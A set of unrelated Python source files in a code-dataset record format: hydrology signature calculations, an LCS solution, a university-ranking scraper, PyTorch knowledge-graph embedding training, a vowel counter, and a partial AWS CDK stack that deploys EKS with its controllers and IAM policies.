gauge data \n df_gauge, meta = read_gauge_data([fn_obs]) \n df_obs = df_gauge[(df_gauge['date'] >= '1991') & (df_gauge['date'] < '2021')].copy()\n \n ## get gauge date range \n date_range = pd.to_datetime( df_obs['date'] ) \n df_obs = df_obs.set_index(date_range) \n \n ## add gauge observations to dataframe for calculations \n gauge_idx = '{}_gauge'.format(gauge_id)\n df[gauge_idx] = df_obs['value'] \n \n ## drop values based on missing values in gauge observations \n df = df.dropna(subset=[gauge_idx]) \n \n ## calc signatures \n df_signatures = calc_signatures( df, gauge_idx,\n time_window = ['all', 'seasonal'],\n \n ## new features\n features = ['peak-distr', \n 'conc-index',\n 'fdc-hv', 'fdc-lv',\n 'lf-stat', 'hf-stat'])\n \n # not viable\n # 'order-nr', 'upA-match'\n \n ## add buffer distance to center (for later filtering of distances) \n df_signatures['n_buffer'] = 0 \n df_signatures.loc[df_key.index, 'n_buffer'] = df_key['n_buffer'] \n \n ## also add coordinates \n coord_pars = ['x', 'y', 'lat', 'lon']\n for parameter in coord_pars:\n df_signatures.loc[gauge_idx, parameter] = df_obs[parameter].unique()[0]\n df_signatures.loc[df_key.index, parameter] = df_key[parameter]\n \n #### add upArea \n ## also a static file to extract simulations\n ## upArea exists \n # upArea_file = input_dir/ 'EFAS_upArea4.0.nc'\n # print('A: ', upArea_file.exists())\n cell_upArea = df_key['upArea'] ## in m2 \n gauge_upArea = df_gauge['upArea'].unique()[0] * 10**6 ## from km2 to m2\n \n df_signatures.loc[ gauge_idx, 'upArea'] = gauge_upArea \n df_signatures.loc[ cell_upArea.index, 'upArea'] = cell_upArea \n\n \n \n ## add elevation values \n dem_file = input_dir / 'EFAS_dem.nc'\n if dem_file.exists(): \n \n cell_elevation = extract_ncfile(df_key, dem_file, 'elevation')['elevation'] \n gauge_elevation = df_gauge['elevation'].unique()[0] \n \n df_signatures.loc[ gauge_idx, 'elevation'] = gauge_elevation \n df_signatures.loc[ cell_elevation.index, 'elevation'] = cell_elevation\n \n ## label signatures \n df_signatures = assign_labels(df_signatures, df_key, df_gauge_meta) \n ## rename the gauge label\n df_signatures.loc[ gauge_idx, 'target'] = np.nan \n \n ## save signatures \n fn_signatures = input_dir / 'signatures_{}-p2.csv'.format(gauge_id) \n df_signatures.to_csv(fn_signatures)\n \n \n ## calculate similarity vector\n # df_similarity_vector = calc_vector(df_signatures.drop(['target'], axis=1), gauge_idx)\n ## label data - identify match\n # df_similarity_vector = assign_labels(df_similarity_vector, df_key, df_gauge_meta) \n ## save labelled data \n # fn_similarity = input_dir / 'vector_similarity_{}.csv'.format(gauge_id) \n # df_similarity_vector.to_csv(fn_similarity)\n \n ## RESHAPE DATA \n ## FROM DATAFRAME TO NETCDF\n \n ## drop coordinate data \n # df_similarity_vector = df_similarity_vector.drop(coord_pars, axis=1)\n # df_signatures = df_signatures.drop(coord_pars, axis=1)\n \n ## reshape output of similarity vector to xarray \n # ds_similarity = df_to_ds(df_similarity_vector, df_key,\n # gauge_id, 'similarity vector') \n ## save output\n # fn_similarity_nc = input_dir / 'vector_similarity_{}.nc'.format(gauge_id) \n # ds_similarity.to_netcdf(fn_similarity_nc)\n \n ## also output of signatures in grid \n ## without gauge signature data \n # df_signatures = df_signatures.iloc[:-1].copy() \n \n ## reshape data to grid \n # ds_signatures = df_to_ds(df_signatures, df_key,\n # gauge_id, 'signatures')\n\n ## save output\n # fn_signatures_nc = input_dir / 'signatures_{}.nc'.format(gauge_id)\n # ds_signatures.to_netcdf( fn_signatures_nc)\n return 1 \n\n else:\n \n print('[ERROR] files not found, skip') \n return -1\n\n\n\n","sub_path":"calculate_signatures/signatures_utils.py","file_name":"signatures_utils.py","file_ext":"py","file_size_in_byte":33344,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"432853760","text":"def lcs2(first_string, second_string):\r\n #assert len(first_sequence) <= 100\r\n #assert len(second_sequence) <= 100\r\n\r\n li1=list(first_string)\r\n li2=list(second_string)\r\n li1.insert(0,0)\r\n li2.insert(0,0)\r\n li=[]\r\n\r\n for i in range(len(li2)):\r\n li.append([])\r\n for j in range(len(li1)):\r\n li[i].append(0)\r\n\r\n '''for i in range(len(li[0])):\r\n li[0][i]=0\r\n for i in range(len(li)):\r\n li[i][0]=0'''\r\n\r\n\r\n for j in range(1,len(li1)):\r\n for i in range(1,len(li2)):\r\n\r\n if li1[j]==li2[i]:\r\n\r\n li[i][j]=li[i-1][j-1]+1\r\n\r\n else:\r\n li[i][j]=max(li[i-1][j],li[i][j-1])\r\n return li[len(li2)-1][len(li1)-1]\r\n\r\n\r\n\r\n '''\r\n for i in li:\r\n print(i)\r\n i=len(li2)-1\r\n j=len(li1)-1\r\n del1=[]\r\n del2=[]\r\n while i!=0 and j!=0:\r\n if li[i][j]==li[i-1][j-1] and li1[j]==li2[i]:\r\n i-=1\r\n j-=1\r\n\r\n else:\r\n minn=min(li[i-1][j],li[i][j-1],li[i-1][j-1])+1\r\n if li[i-1][j-1]+1==li[i][j] and li[i-1][j-1]+1==minn:\r\n del1.append(j)\r\n del2.append(i)\r\n i-=1\r\n j-=1\r\n continue\r\n elif li[i-1][j]+1==li[i][j] and li[i-1][j]+1==minn:\r\n del2.append(i)\r\n i-=1\r\n continue\r\n elif li[i][j-1]+1==li[i][j] and li[i][j-1]+1==minn:\r\n del1.append(j)\r\n j-=1\r\n\r\n continue\r\n print(del1,del2)\r\n soln1=[]\r\n soln2=[]\r\n print()\r\n\r\n for i in range(1,len(li1)):\r\n if i not in del1:\r\n soln1.append(li1[i])\r\n for i in range(1,len(li2)):\r\n if i not in del2:\r\n soln2.append(li2[i])\r\n print(soln1,soln2)\r\n\r\n soln3=[]\r\n for i in soln1:\r\n if i in soln2:\r\n soln3.append(i)\r\n return(len(soln3))'''\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n n = int(input())\r\n a = list(map(int, input().split()))\r\n assert len(a) == n\r\n\r\n m = int(input())\r\n b = list(map(int, input().split()))\r\n assert len(b) == m\r\n\r\n print(lcs2(a, b))\r\n","sub_path":"mysolution/longest_common_subsequence.py","file_name":"longest_common_subsequence.py","file_ext":"py","file_size_in_byte":2165,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"437949914","text":"import requests\nimport bs4\nfrom bs4 import BeautifulSoup\n\ndef getHTTPText(url):\n try:\n r = requests.get(url)\n r.raise_for_status()\n r.encoding = r.apparent_encoding\n return r.text\n except:\n return ''\n\ndef fillUnivList(html, ulist):\n soup = BeautifulSoup(html, 'html.parser')\n for tr in soup.find('tbody').children:\n if isinstance(tr, bs4.element.Tag): #这个是必要的,因为\n tds = tr('td')\n ulist.append([tds[0].string, tds[1].string, tds[3].string])\n\ndef printUnivList(ulist, num):\n print(\"{:<2}\\t{:<10}\\t{:<4}\".format(\"排名\", \"学校名称\", \"综合分数\"))\n for i in range(num):\n # print('%-4s%-15s%-4s' % (ulist[i][0], ulist[i][1], ulist[i][2]))\n print(\"{:<3}\\t{:<10}\\t{:<10}\".format(ulist[i][0], ulist[i][1], ulist[i][2]))\ndef main():\n uinfo = []\n url = 'http://www.zuihaodaxue.cn/zuihaodaxuepaiming2016.html'\n html = getHTTPText(url)\n fillUnivList(html, uinfo)\n printUnivList(uinfo, 20)\n\nmain()","sub_path":"python_full_statck/spider/大学排名_self.py","file_name":"大学排名_self.py","file_ext":"py","file_size_in_byte":1024,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"130712273","text":"import pickle\nimport time\nimport copy\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\n\nfrom dataloader import AmazonDataset\nfrom evaluate import Evaluater\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\nprint('device: {}'.format(device))\n\nclass TrainIterater():\n\n\n def __init__(self, batch_size, data_dir, model_name='DistMulti'):\n #self.dataset = dataloader.AmazonDataset('./data')\n #self.dataset = AmazonDataset('./data', model_name=model_name)\n self.data_dir = data_dir\n self.dataset = AmazonDataset(self.data_dir, model_name=model_name)\n self.batch_size = batch_size\n self.model_name = model_name\n\n\n def train(self, batch, loss_func, optimizer, model, lambda_):\n optimizer.zero_grad()\n\n if self.model_name == 'DistMulti' or self.model_name == 'Complex':\n triplet, y_train = batch\n h_entity_tensor = torch.tensor(triplet[:, 0], dtype=torch.long, device=device)\n t_entity_tensor = torch.tensor(triplet[:, 1], dtype=torch.long, device=device)\n relation_tensor = torch.tensor(triplet[:, 2], dtype=torch.long, device=device)\n y_train = torch.tensor(y_train, dtype=torch.float, device=device)\n\n pred = model(h_entity_tensor, t_entity_tensor, relation_tensor)\n loss = loss_func(pred, y_train)\n\n elif self.model_name == 'TransE':\n posi_batch, nega_batch, ppr_vec, ppr_idx = batch\n h = torch.tensor(posi_batch[:, 0], dtype=torch.long, device=device)\n t = torch.tensor(posi_batch[:, 1], dtype=torch.long, device=device)\n r = torch.tensor(posi_batch[:, 2], dtype=torch.long, device=device)\n\n n_h = torch.tensor(nega_batch[:, 0], dtype=torch.long, device=device)\n n_t = torch.tensor(nega_batch[:, 1], dtype=torch.long, device=device)\n n_r = torch.tensor(nega_batch[:, 2], dtype=torch.long, device=device)\n\n score, vec = model.predict(h, t, r, n_h, n_t, n_r, ppr_vec, ppr_idx)\n loss = lambda_ * torch.sum(score)\n #loss += (1 - lambda_) * torch.norm(torch.tensor(ppr_vec, device=device) - vec)\n loss += (1 - lambda_) * torch.norm(vec)\n\n elif self.model_name == 'SparseTransE':\n posi_batch, nega_batch, batch_user, batch_item, batch_brand = batch\n h = torch.tensor(posi_batch[:, 0], dtype=torch.long, device=device)\n t = torch.tensor(posi_batch[:, 1], dtype=torch.long, device=device)\n r = torch.tensor(posi_batch[:, 2], dtype=torch.long, device=device)\n\n n_h = torch.tensor(nega_batch[:, 0], dtype=torch.long, device=device)\n n_t = torch.tensor(nega_batch[:, 1], dtype=torch.long, device=device)\n n_r = torch.tensor(nega_batch[:, 2], dtype=torch.long, device=device)\n\n reg_user = torch.tensor(batch_user, dtype=torch.long, device=device)\n reg_item = torch.tensor(batch_item, dtype=torch.long, device=device)\n reg_brand = torch.tensor(batch_brand, dtype=torch.long, device=device)\n\n pred = model(h, t, r, n_h, n_t, n_r,\n reg_user, reg_item, reg_brand)\n\n loss = torch.sum(pred)\n\n loss.backward()\n optimizer.step()\n\n return loss\n\n\n def iterate_train(self, model, lr=0.001, weight_decay=0, lambda_=0.5, print_every=2000, plot_every=50):\n # lambda_は埋め込み誤差とPPR誤差のバランス\n\n optimizer = optim.Adam(model.parameters(), lr=lr, weight_decay=weight_decay)\n # optimizer = optim.SGD(model.parameters(), lr=lr)\n\n loss_func = nn.BCELoss()\n\n print_loss_total = 0\n plot_loss_list = []\n plot_loss_total = 0\n\n if self.model_name == 'DistMulti' or self.model_name == 'Complex':\n train_num = len(self.dataset.triplet_df) + len(self.dataset.nega_triplet_df)\n elif self.model_name == 'TransE' or self.model_name == 'SparseTransE':\n train_num = len(self.dataset.triplet_df)\n\n start_time = time.time()\n\n for i in range(int(train_num / self.batch_size) + 1):\n\n batch = self.dataset.get_batch(batch_size=self.batch_size)\n loss = self.train(batch, loss_func, optimizer, model, lambda_)\n print_loss_total += loss.detach()\n plot_loss_total += loss.detach()\n\n # print_everyごとに現在の平均のlossと、時間、dataset全体に対する進捗(%)を出力\n if (i+1) % print_every == 0:\n runtime = time.time() - start_time\n mi, sec = self.time_since(runtime)\n avg_loss = print_loss_total / print_every\n data_percent = int(i * self.batch_size / train_num * 100)\n print('train loss: {:e} processed: {}({}%) {}m{}sec'.format(\n avg_loss, i*self.batch_size, data_percent, mi, sec))\n print_loss_total = 0\n\n # plot_everyごとplot用のlossをリストに記録しておく\n if (i+1) % plot_every == 0:\n avg_loss = plot_loss_total / plot_every\n plot_loss_list.append(avg_loss)\n plot_loss_total = 0\n\n return plot_loss_list\n\n\n def time_since(self, runtime):\n mi = int(runtime / 60)\n sec = int(runtime - mi * 60)\n return (mi, sec)\n\n\n def iterate_epoch(self, model, lr, epoch, weight_decay=0, lambda_=0.5,\n warmup=0, lr_decay_rate=1, lr_decay_every=10, eval_every=5, early_stop=False):\n #eval_model = Evaluater(self.data_dir, model_name=self.model_name)\n es = EarlyStop(self.data_dir, self.model_name, patience=3)\n plot_loss_list = []\n plot_score_list = []\n\n for i in range(epoch):\n plot_loss_list.extend(self.iterate_train(model, lr=lr, weight_decay=weight_decay,\n lambda_=lambda_, print_every=1e+6))\n\n # early stop\n if early_stop:\n pre_model = es.early_stop(model)\n if pre_model:\n print('Early Stop eposh: {}'.format(i+1))\n return eval_model.topn_map(pre_model)\n\n # lrスケジューリング\n if i > warmup:\n if (i - warmup) % lr_decay_every == 0:\n lr = lr * lr_decay_rate\n\n if (i+1) % eval_every == 0:\n #score = eval_model.topn_precision(model)\n #print('epoch: {} precision: {}'.format(i, score))\n score = eval_model.topn_map(model)\n print('epoch: {} map: {}'.format(i, score))\n plot_score_list.append(score)\n\n #self._plot(plot_loss_list)\n #self._plot(plot_score_list)\n\n #return eval_model.topn_map(model)\n return model\n\n\n\n def _plot(self, loss_list):\n # ここもっとちゃんと書く\n plt.plot(loss_list)\n plt.show()\n\n\n\nclass EarlyStop():\n\n def __init__(self, data_dir, model_name, patience):\n self.dataset = AmazonDataset(data_dir, model_name)\n self.patience = patience\n self.model_name = model_name\n\n self.user_item_nega_df = self.negative_sampling()\n\n y_test = [1 for i in range(len(self.dataset.user_item_test_df))] \\\n + [0 for i in range(len(self.user_item_nega_df))]\n self.y_test = np.array(y_test)\n \n\n\n self.loss_list = []\n self.model_list = []\n\n\n def negative_sampling(self):\n implicit_feed = [list(r) for r in self.dataset.user_item_test_df.values]\n user_idx = [self.dataset.entity_list.index(u) for u in self.dataset.user_list]\n item_idx = [self.dataset.entity_list.index(i) for i in self.dataset.item_list]\n\n user_item_test_nega = []\n count = 0\n while count < len(self.dataset.user_item_test_df):\n uidx = np.random.randint(len(self.dataset.user_list))\n iidx = np.random.randint(len(self.dataset.item_list))\n user = user_idx[uidx]\n item = item_idx[iidx]\n ### relationはすべてuser->(buy)itemの0\n if [user, item, 0] in implicit_feed:\n continue\n if [user, item, 0] in user_item_test_nega:\n continue\n\n user_item_test_nega.append([user, item, 0])\n count += 1\n\n user_item_test_nega_df = pd.DataFrame(user_item_test_nega, columns=['reviewerID', 'asin', 'relation'])\n\n return user_item_test_nega_df\n\n\n def early_stop(self, model):\n loss = self.iterate_valid_loss(model, batch_size=1024)\n self.loss_list.append(loss)\n # model copy\n self.model_list.append(copy.deepcopy(model))\n\n flag = 0\n for i in range(len(self.loss_list) - 1):\n if self.loss_list[0] > self.loss_list[i + 1]:\n flag = 1\n\n if flag == 0 and len(self.loss_list) > self.patience:\n return self.model_list[0]\n\n if len(self.loss_list) > self.patience:\n self.loss_list.pop(0)\n self.model_list.pop(0)\n\n return False\n\n\n def get_batch(self, batch_size):\n if self.model_name == 'DistMulti' or self.model_name == 'Complex':\n train_num = len(self.dataset.user_item_test_df) + len(self.user_item_nega_df)\n batch_idx = np.random.permutation(train_num)[:batch_size]\n # posi_tripletとnega_tripletを連結\n batch = pd.concat([self.dataset.user_item_test_df, self.user_item_nega_df]).values[batch_idx]\n batch_y_test = self.y_test[batch_idx]\n \n return batch, batch_y_test\n\n elif self.model_name == 'TransE':\n batch_idx = np.random.permutation(len(self.dataset.user_item_test_df))[:batch_size]\n posi_batch = self.dataset.user_item_test_df.values[batch_idx]\n nega_batch = self.user_item_nega_df.values[batch_idx]\n \n return posi_batch, nega_batch\n \n elif self.model_name == 'SparseTransE':\n batch_idx = np.random.permutation(len(self.dataset.user_item_test_df))[:batch_size]\n posi_batch = self.dataset.user_item_test_df.values[batch_idx]\n nega_batch = self.user_item_nega_df.values[batch_idx]\n\n # reguralizationのためのbatch\n # entity_typeの数だけ\n batch_entity_size = int(len(self.dataset.entity_list) / (len(self.dataset.user_item_test_df) / batch_size))\n reg_batch_idx = np.random.permutation(len(self.dataset.entity_list))[:batch_entity_size]\n\n batch_item = reg_batch_idx[reg_batch_idx < len(self.dataset.item_list)]\n\n batch_user = reg_batch_idx[reg_batch_idx >= len(self.dataset.item_list)]\n batch_user = batch_user[batch_user < len(self.dataset.user_list)]\n\n batch_brand = reg_batch_idx[reg_batch_idx >= len(self.dataset.user_list)]\n batch_brand = batch_brand[batch_brand < len(self.dataset.brand_list)]\n\n return posi_batch, nega_batch, batch_user, batch_item, batch_brand\n\n \n def iterate_valid_loss(self, model, batch_size=1024):\n loss_func = nn.BCELoss()\n loss_total = 0\n\n if self.model_name == 'DistMulti' or self.model_name == 'Complex':\n train_num = len(self.dataset.user_item_test_df) + len(self.user_item_nega_df)\n elif self.model_name == 'TransE' or self.model_name == 'SparseTransE':\n train_num = len(self.dataset.user_item_test_df)\n\n for i in range(int(train_num / batch_size) + 1):\n batch = self.get_batch(batch_size=batch_size)\n #print(batch)\n loss = self.valid_loss(batch, loss_func, model)\n #print(loss)\n loss_total += loss.detach()\n\n \n return loss_total / len(self.dataset.user_item_test_df)\n\n\n def valid_loss(self, batch, loss_func, model):\n\n with torch.no_grad(): \n if self.model_name == 'DistMulti' or self.model_name == 'Complex':\n triplet, y_train = batch\n h_entity_tensor = torch.tensor(triplet[:, 0], dtype=torch.long, device=device)\n t_entity_tensor = torch.tensor(triplet[:, 1], dtype=torch.long, device=device)\n relation_tensor = torch.tensor(triplet[:, 2], dtype=torch.long, device=device)\n y_train = torch.tensor(y_train, dtype=torch.float, device=device)\n\n pred = model(h_entity_tensor, t_entity_tensor, relation_tensor)\n loss = loss_func(pred, y_train)\n\n elif self.model_name == 'TransE':\n posi_batch, nega_batch = batch\n h = torch.tensor(posi_batch[:, 0], dtype=torch.long, device=device)\n t = torch.tensor(posi_batch[:, 1], dtype=torch.long, device=device)\n r = torch.tensor(posi_batch[:, 2], dtype=torch.long, device=device)\n\n n_h = torch.tensor(nega_batch[:, 0], dtype=torch.long, device=device)\n n_t = torch.tensor(nega_batch[:, 1], dtype=torch.long, device=device)\n n_r = torch.tensor(nega_batch[:, 2], dtype=torch.long, device=device)\n\n pred = model(h, t, r, n_h, n_t, n_r)\n loss = torch.sum(pred)\n\n elif self.model_name == 'SparseTransE':\n posi_batch, nega_batch, batch_user, batch_item, batch_brand = batch\n h = torch.tensor(posi_batch[:, 0], dtype=torch.long, device=device)\n t = torch.tensor(posi_batch[:, 1], dtype=torch.long, device=device)\n r = torch.tensor(posi_batch[:, 2], dtype=torch.long, device=device)\n\n n_h = torch.tensor(nega_batch[:, 0], dtype=torch.long, device=device)\n n_t = torch.tensor(nega_batch[:, 1], dtype=torch.long, device=device)\n n_r = torch.tensor(nega_batch[:, 2], dtype=torch.long, device=device)\n\n reg_user = torch.tensor(batch_user, dtype=torch.long, device=device)\n reg_item = torch.tensor(batch_item, dtype=torch.long, device=device)\n reg_brand = torch.tensor(batch_brand, dtype=torch.long, device=device)\n\n pred = model(h, t, r, n_h, n_t, n_r,\n reg_user, reg_item, reg_brand)\n\n loss = torch.sum(pred)\n \n return loss\n\n\n\n def valid_metric(self, model):\n return 0","sub_path":"_trash/Proposed2/training.py","file_name":"training.py","file_ext":"py","file_size_in_byte":14526,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"253301396","text":"import Reverse\n\nsentence = input(\"Enter the sentence:\\n\")\nvowels = \"aeiou\"\ncount = 0\nfor i in sentence:\n if i in vowels:\n count+=1\n \nprint(\"Reverse String: \" + Reverse.reverse(sentence))\nprint (\"Number of vowels is \" +str(count))\ninput()","sub_path":"Code/Pers/Python/Vowels.py","file_name":"Vowels.py","file_ext":"py","file_size_in_byte":254,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"596327448","text":"from aws_cdk import (\n aws_codebuild as codebuild,\n aws_iam as iam,\n aws_ec2 as ec2,\n aws_eks as eks,\n aws_ecr as ecr,\n aws_elasticsearch as es,\n core\n)\nimport os\n\nclass AWSInfrastructureStack(core.Stack):\n\n def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n super().__init__(scope, id, **kwargs)\n\n eks_vpc = ec2.Vpc(\n self, \"VPC\",\n cidr=\"10.0.0.0/16\"\n )\n\n # Create IAM Role For EC2 bastion instance to be able to manage the cluster\n bastion_role = iam.Role(\n self, \"BastionRole\",\n assumed_by=iam.CompositePrincipal(\n iam.ServicePrincipal(\"ec2.amazonaws.com\"),\n iam.AccountRootPrincipal()\n )\n )\n self.bastion_role = bastion_role\n # Create EC2 Instance Profile for that Role\n instance_profile = iam.CfnInstanceProfile(\n self, \"InstanceProfile\",\n roles=[bastion_role.role_name] \n )\n\n # Create SecurityGroup for the Control Plane ENIs\n eks_security_group = ec2.SecurityGroup(\n self, \"EKSSecurityGroup\",\n vpc=eks_vpc,\n allow_all_outbound=True\n )\n \n eks_security_group.add_ingress_rule(\n ec2.Peer.ipv4('10.0.0.0/16'),\n ec2.Port.all_traffic()\n ) \n\n # Create an EKS Cluster\n eks_cluster = eks.Cluster(\n self, \"cluster\",\n vpc=eks_vpc,\n masters_role=bastion_role,\n default_capacity_type=eks.DefaultCapacityType.NODEGROUP,\n default_capacity_instance=ec2.InstanceType(\"m5.large\"),\n default_capacity=2,\n security_group=eks_security_group,\n endpoint_access=eks.EndpointAccess.PUBLIC_AND_PRIVATE,\n version=eks.KubernetesVersion.V1_18\n )\n\n # Deploy ALB Ingress Controller\n # Create the k8s Service account and corresponding IAM Role mapped via IRSA\n alb_service_account = eks_cluster.add_service_account(\n \"aws-load-balancer-controller\",\n name=\"aws-load-balancer-controller\",\n namespace=\"kube-system\"\n )\n\n # Create the PolicyStatements to attach to the role\n # I couldn't find a way to get this to work with a PolicyDocument and there are 10 of these\n alb_policy_statement_json_1 = {\n \"Effect\": \"Allow\",\n \"Action\": [\n \"acm:DescribeCertificate\",\n \"acm:ListCertificates\",\n \"acm:GetCertificate\"\n ],\n \"Resource\": \"*\"\n }\n alb_policy_statement_json_2 = {\n \"Effect\": \"Allow\",\n \"Action\": [\n \"ec2:AuthorizeSecurityGroupIngress\",\n \"ec2:CreateSecurityGroup\",\n \"ec2:CreateTags\",\n \"ec2:DeleteTags\",\n \"ec2:DeleteSecurityGroup\",\n \"ec2:DescribeAccountAttributes\",\n \"ec2:DescribeAddresses\",\n \"ec2:DescribeInstances\",\n \"ec2:DescribeInstanceStatus\",\n \"ec2:DescribeInternetGateways\",\n \"ec2:DescribeNetworkInterfaces\",\n \"ec2:DescribeSecurityGroups\",\n \"ec2:DescribeSubnets\",\n \"ec2:DescribeTags\",\n \"ec2:DescribeVpcs\",\n \"ec2:ModifyInstanceAttribute\",\n \"ec2:ModifyNetworkInterfaceAttribute\",\n \"ec2:RevokeSecurityGroupIngress\"\n ],\n \"Resource\": \"*\"\n }\n alb_policy_statement_json_3 = {\n \"Effect\": \"Allow\",\n \"Action\": [\n \"elasticloadbalancing:AddListenerCertificates\",\n \"elasticloadbalancing:AddTags\",\n \"elasticloadbalancing:CreateListener\",\n \"elasticloadbalancing:CreateLoadBalancer\",\n \"elasticloadbalancing:CreateRule\",\n \"elasticloadbalancing:CreateTargetGroup\",\n \"elasticloadbalancing:DeleteListener\",\n \"elasticloadbalancing:DeleteLoadBalancer\",\n \"elasticloadbalancing:DeleteRule\",\n \"elasticloadbalancing:DeleteTargetGroup\",\n \"elasticloadbalancing:DeregisterTargets\",\n \"elasticloadbalancing:DescribeListenerCertificates\",\n \"elasticloadbalancing:DescribeListeners\",\n \"elasticloadbalancing:DescribeLoadBalancers\",\n \"elasticloadbalancing:DescribeLoadBalancerAttributes\",\n \"elasticloadbalancing:DescribeRules\",\n \"elasticloadbalancing:DescribeSSLPolicies\",\n \"elasticloadbalancing:DescribeTags\",\n \"elasticloadbalancing:DescribeTargetGroups\",\n \"elasticloadbalancing:DescribeTargetGroupAttributes\",\n \"elasticloadbalancing:DescribeTargetHealth\",\n \"elasticloadbalancing:ModifyListener\",\n \"elasticloadbalancing:ModifyLoadBalancerAttributes\",\n \"elasticloadbalancing:ModifyRule\",\n \"elasticloadbalancing:ModifyTargetGroup\",\n \"elasticloadbalancing:ModifyTargetGroupAttributes\",\n \"elasticloadbalancing:RegisterTargets\",\n \"elasticloadbalancing:RemoveListenerCertificates\",\n \"elasticloadbalancing:RemoveTags\",\n \"elasticloadbalancing:SetIpAddressType\",\n \"elasticloadbalancing:SetSecurityGroups\",\n \"elasticloadbalancing:SetSubnets\",\n \"elasticloadbalancing:SetWebAcl\"\n ],\n \"Resource\": \"*\"\n }\n alb_policy_statement_json_4 = {\n \"Effect\": \"Allow\",\n \"Action\": [\n \"iam:CreateServiceLinkedRole\",\n \"iam:GetServerCertificate\",\n \"iam:ListServerCertificates\"\n ],\n \"Resource\": \"*\"\n }\n alb_policy_statement_json_5 = {\n \"Effect\": \"Allow\",\n \"Action\": [\n \"cognito-idp:DescribeUserPoolClient\"\n ],\n \"Resource\": \"*\"\n }\n alb_policy_statement_json_6 = {\n \"Effect\": \"Allow\",\n \"Action\": [\n \"waf-regional:GetWebACLForResource\",\n \"waf-regional:GetWebACL\",\n \"waf-regional:AssociateWebACL\",\n \"waf-regional:DisassociateWebACL\"\n ],\n \"Resource\": \"*\"\n }\n alb_policy_statement_json_7 = {\n \"Effect\": \"Allow\",\n \"Action\": [\n \"tag:GetResources\",\n \"tag:TagResources\"\n ],\n \"Resource\": \"*\"\n }\n alb_policy_statement_json_8 = {\n \"Effect\": \"Allow\",\n \"Action\": [\n \"waf:GetWebACL\"\n ],\n \"Resource\": \"*\"\n }\n alb_policy_statement_json_9 = {\n \"Effect\": \"Allow\",\n \"Action\": [\n \"wafv2:GetWebACL\",\n \"wafv2:GetWebACLForResource\",\n \"wafv2:AssociateWebACL\",\n \"wafv2:DisassociateWebACL\"\n ],\n \"Resource\": \"*\"\n }\n alb_policy_statement_json_10 = {\n \"Effect\": \"Allow\",\n \"Action\": [\n \"shield:DescribeProtection\",\n \"shield:GetSubscriptionState\",\n \"shield:DeleteProtection\",\n \"shield:CreateProtection\",\n \"shield:DescribeSubscription\",\n \"shield:ListProtections\"\n ],\n \"Resource\": \"*\"\n }\n \n # Attach the necessary permissions\n alb_service_account.add_to_policy(iam.PolicyStatement.from_json(alb_policy_statement_json_1))\n alb_service_account.add_to_policy(iam.PolicyStatement.from_json(alb_policy_statement_json_2))\n alb_service_account.add_to_policy(iam.PolicyStatement.from_json(alb_policy_statement_json_3))\n alb_service_account.add_to_policy(iam.PolicyStatement.from_json(alb_policy_statement_json_4))\n alb_service_account.add_to_policy(iam.PolicyStatement.from_json(alb_policy_statement_json_5))\n alb_service_account.add_to_policy(iam.PolicyStatement.from_json(alb_policy_statement_json_6))\n alb_service_account.add_to_policy(iam.PolicyStatement.from_json(alb_policy_statement_json_7))\n alb_service_account.add_to_policy(iam.PolicyStatement.from_json(alb_policy_statement_json_8))\n alb_service_account.add_to_policy(iam.PolicyStatement.from_json(alb_policy_statement_json_9))\n alb_service_account.add_to_policy(iam.PolicyStatement.from_json(alb_policy_statement_json_10))\n\n # Deploy the ALB Ingress Controller from the Helm chart\n eks_cluster.add_helm_chart(\n \"aws-load-balancer-controller\",\n chart=\"aws-load-balancer-controller\",\n repository=\"https://aws.github.io/eks-charts\",\n namespace=\"kube-system\",\n values={\n \"clusterName\": eks_cluster.cluster_name,\n \"region\": self.region,\n \"vpcId\": eks_vpc.vpc_id,\n \"serviceAccount\": {\n \"create\": False,\n \"name\": \"aws-load-balancer-controller\"\n }\n }\n )\n\n # Deploy External DNS Controller\n # Create the k8s Service account and corresponding IAM Role mapped via IRSA\n externaldns_service_account = eks_cluster.add_service_account(\n \"external-dns\",\n name=\"external-dns\",\n namespace=\"kube-system\"\n )\n\n # Create the PolicyStatements to attach to the role\n externaldns_policy_statement_json_1 = {\n \"Effect\": \"Allow\",\n \"Action\": [\n \"route53:ChangeResourceRecordSets\"\n ],\n \"Resource\": [\n \"arn:aws:route53:::hostedzone/*\"\n ]\n }\n externaldns_policy_statement_json_2 = {\n \"Effect\": \"Allow\",\n \"Action\": [\n \"route53:ListHostedZones\",\n \"route53:ListResourceRecordSets\"\n ],\n \"Resource\": [\n \"*\"\n ]\n }\n\n # Add the policies to the service account\n externaldns_service_account.add_to_policy(iam.PolicyStatement.from_json(externaldns_policy_statement_json_1))\n externaldns_service_account.add_to_policy(iam.PolicyStatement.from_json(externaldns_policy_statement_json_2))\n\n # Deploy the Helm Chart\n eks_cluster.add_helm_chart(\n \"external-dns\",\n chart=\"external-dns\",\n repository=\"https://charts.bitnami.com/bitnami\",\n namespace=\"kube-system\",\n values={\n \"provider\": \"aws\",\n \"aws\": {\n \"region\": self.region\n },\n \"serviceAccount\": {\n \"create\": False,\n \"name\": \"external-dns\"\n },\n \"podSecurityContext\": {\n \"fsGroup\": 65534\n }\n }\n ) \n\n # Install external secrets controller\n # Create the Service Account\n externalsecrets_service_account = eks_cluster.add_service_account(\n \"kubernetes-external-secrets\",\n name=\"kubernetes-external-secrets\",\n namespace=\"kube-system\"\n )\n\n # Define the policy in JSON\n externalsecrets_policy_statement_json_1 = {\n \"Effect\": \"Allow\",\n \"Action\": [\n \"secretsmanager:GetResourcePolicy\",\n \"secretsmanager:GetSecretValue\",\n \"secretsmanager:DescribeSecret\",\n \"secretsmanager:ListSecretVersionIds\"\n ],\n \"Resource\": [\n \"*\"\n ]\n }\n\n # Add the policies to the service account\n 